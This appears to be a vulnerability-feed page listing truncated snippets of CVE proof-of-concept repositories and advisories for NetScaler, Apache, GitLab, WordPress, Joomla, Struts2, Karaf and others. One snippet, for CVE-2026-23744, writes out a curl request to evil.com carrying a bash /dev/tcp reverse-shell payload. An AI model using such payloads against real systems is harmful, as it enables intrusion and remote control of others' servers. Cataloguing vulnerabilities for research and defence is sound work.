CVE-2025-7775-PoC

CVE-2025-7775 | NetScaler ADC RCE PoC ⚠️ 免责声明：本内容仅为教育目的而构建的假设性PoC。请隔离NetScaler网络，CVE-2025-7775并不存在。仅在隔离实验室中使用。 概述 针对Citrix NetScaler ADC/Gateway中假设的未授权RCE的模拟利用。专为内部检测验证和应急响应演练培训设计。 实验室要求 隔离网络 已授权的NetScaler VPX实例（实验室用途） Python 3.x 使用方法 git clone https://github.com/your-org/cve-2025-7775-poc.git pip...

CVE-2021-41773

CVE-2021-41773 — PoC: 路径穿越 + 基于 modcgi 的 RCE 仅限在受控且自有的环境中使用。未经授权不得针对任何系统使用。 描述 本 PoC 用于演示和理解 CVE-2021-41773 漏洞，该漏洞存在于 Apache HTTP Server 2.4.49 中。 该缺陷位于 apnormalizepath 函数中，该函数未正确验证 URL 编码的字符。攻击者可以通过编码后的字符序列（例如使用 %2e%2e%2f 代替 ../）绕过 DocumentRoot 限制，从而读取系统中的任意文件。 当 modcgi 模块启用时，该漏洞可升级为 RCE（远程代码执行）...

CVE-2026-96431

Unrestricted Upload of File with Dangerous Type in the /WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote authenticated users to execute arbitrary system commands via a malicious file...

CVE-2026-25253

CVE-2026-25253 OpenClaw RCE en 1 clic ★ CVE-2026-25253 PoC de OpenClaw RCE en 1 clic ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e Descripción CVE-2026-25253 : Vulnerabilidad de Exfiltración del Token de Autenticación de OpenClaw descripción: OpenClaw también...

BIT-GITLAB-2026-93577 Integer Overflow or Wraparound in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to an integer overflow issue when...

BIT-GITLAB-2026-89078 Double Free in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ 简单用法 仅在安全且授权的环境中使用此项目，例如： 本地虚拟机 Docker 容器 隔离实验室环境 授权的渗透测试环境 示例设置： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL source...

CVE-2021-22205

CVE-2021-22205 - GitLab 未授权远程代码执行 CVE-2021-22205 是一个影响 GitLab Community Edition CE 和 Enterprise Edition EE 的严重远程代码执行 RCE 漏洞。该漏洞源于对上传图片文件的验证不当，这些文件由第三方工具 ExifTool 处理。攻击者可以构造一个恶意文件，在 GitLab 服务器上触发任意命令执行。该漏洞的 CVSS 评分为 10.0（严重） ，并已被观察到在野积极利用。 受影响版本 该漏洞影响从 11.9 开始至以下版本的 GitLab CE/EE： 低于 13.8.8 低于 13.9...

AndroidSecurityEvolution

Android 安全演进 自 Android 5.0 Lollipop （API 21）起，各主要 Android 版本的重要安全增强。 Android 5.0（API 21）- Lollipop Android 5 安全增强 自 2023 年 8 月起，该 Android 版本将只能收到 Google Play Services 更新，参见 Google Play services discontinuing updates for KitKat API levels 19 & 20 starting August 2023 默认启用全盘加密（FDE）（制造商仍可选择关闭），参见加密和...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 关于MCP Server漏洞的PoC。 自动生成带有正确正文的帖子部分。 漏洞路径： /api/mcp/connect 通过curl的方法： curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO 0&1","env":,"serverId":"pruebaxd"'...

CVE-2026-54160

A flaw was found in Network UPS Tools NUT. The project's automated workflow improperly runs untrusted code submitted in pull requests within an environment that holds elevated write privileges. A remote attacker can exploit this flaw by submitting a malicious pull request to achieve arbitrary cod...

BIT-FLUENT-BIT-2026-61674 Fluent Bit: Remote stack buffer overflow in Fluent Bit `out_forward` Secure-Forward `PONG` handler

Fluent Bit is a fast and lightweight logs, metrics, and traces processor for Linux, BSD, macOS, and Windows. From 0.11.0 until 5.0.8, plugins/outforward/forward.c secureforwardpong copies the server-controlled PONG2 reason into the 32-byte stack buffer msg with memcpy without checking its...

BIT-GDAL-2026-4738 GDAL Bundled zlib (inftree9.c) Pointer Offset Optimization Undefined Behavior Allows Heap Corruption or Remote Code Execution

Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in OSGeo gdal frmts/zlib/contrib/infback9 modules. This vulnerability is associated with program files inftree9.C‎. This issue affects gdal: before 3.11.0...

CVE-2026-14894

CVE-2026-14894 — Super Forms: RCE por subida de archivos no autenticada Fuga de nonce → Subida datauristring → Ejecución de código Descripción general CVE-2026-14894 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica CVSS 9.8 en el plugin de WordPress Super...

CVE-2026-48907

CVE-2026-48907 - Joomla! JCE 未认证远程代码执行 Joomla! JCE 扩展版本 此工具仅供教育和授权测试用途。 仅在你拥有或获得明确许可的系统上使用 作者不对任何滥用或非法行为负责 测试前务必获得适当授权 🔍 漏洞详情 属性| 值 ---|--- CVE ID| CVE-2026-48907 产品| Joomla! JCE 扩展 受影响版本| 2.9.99.5 漏洞类型| 未认证 PHP 文件上传 → RCE CVSS 分数| 9.8 严重 攻击向量| 网络 身份认证| 无需认证 影响| 完全系统沦陷 工作原理 1. CSRF 令牌提取...

vsftpd-cve-2011-2523-lab

VSFTPD 2.3.4 后门漏洞利用 CVE-2011-2523 一个实践性渗透测试实验，演示在故意存在漏洞的 Metasploitable2 虚拟机中使用 Metasploit 框架识别和利用 VSFTPD 2.3.4 后门漏洞 CVE-2011-2523。 免责声明 本项目完全在受控实验室环境中进行，使用了 Metasploitable2 （一款为网络安全教育设计的故意存在漏洞的虚拟机）。 在此次练习中未针对任何未经授权的系统或网络。 目标 本实验的目标是： 枚举目标机器上运行的服务。 识别存在漏洞的软件版本。 定位公开可用的利用代码。 使用 Metasploit 框架利用漏洞。...

CVE-2014-6271-EXPLOIT

CVE-2014-6271 - Shellshock 💣 Shellshock 是 GNU Bash shell 中的一个严重漏洞。它影响至 4.3 版本的 Bash，并允许远程攻击者执行任意代码。此漏洞源于 Bash 在处理环境变量值中函数定义之后的尾部字符串时的方式。 🔍 详细说明 Shellshock 漏洞允许攻击者通过特制的环境变量注入并执行代码。这些变量可以通过多种途径设置，例如： OpenSSH sshd 中的 ForceCommand 功能 Apache HTTP Server 中的 modcgi 和 modcgid 模块 由未指定的 DHCP 客户端执行的脚本...

struts2-rce

CVE-2017-5638 漏洞利用演示 完全基于 https://github.com/piesecurity/apache-struts2-CVE-2017-5638 一个真实场景：将某个框架的参考项目部署到容器中，却引发了严重后果。请查看代码并编译以熟悉它。同时检查 Dockerfile——是否有任何特定内容引起了我们的注意？ 展示了日常决策和多个漏洞如何轻易地被串联利用。 使用方法： 前提条件： 1. 已安装 JDK， 2. 已安装 Docker，Docker Desktop for Mac 或 Win 3. 最好已安装 Python（可用 Jython 替代） 准备步骤： 1...

CVE-2026-91048 Apache Karaf: Missing authorization on the jdbc:* shell command scope allows privilege escalation to remote code execution via jdbc:ds-create

The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard SecuredSessionFactoryImpl treats a command with no matching ACL rule as allowed, so any authenticated shell session including one holding only the viewer role could run...

CVE-2026-91048

Apache Karaf is vulnerable to a privilege escalation to Remote Code Execution (RCE) due to missing authorization on the jdbc: and jms: shell command scopes. The system's command guard (SecuredSessionFactoryImpl ) treats commands without a matching ACL rule as allowed because the required configur...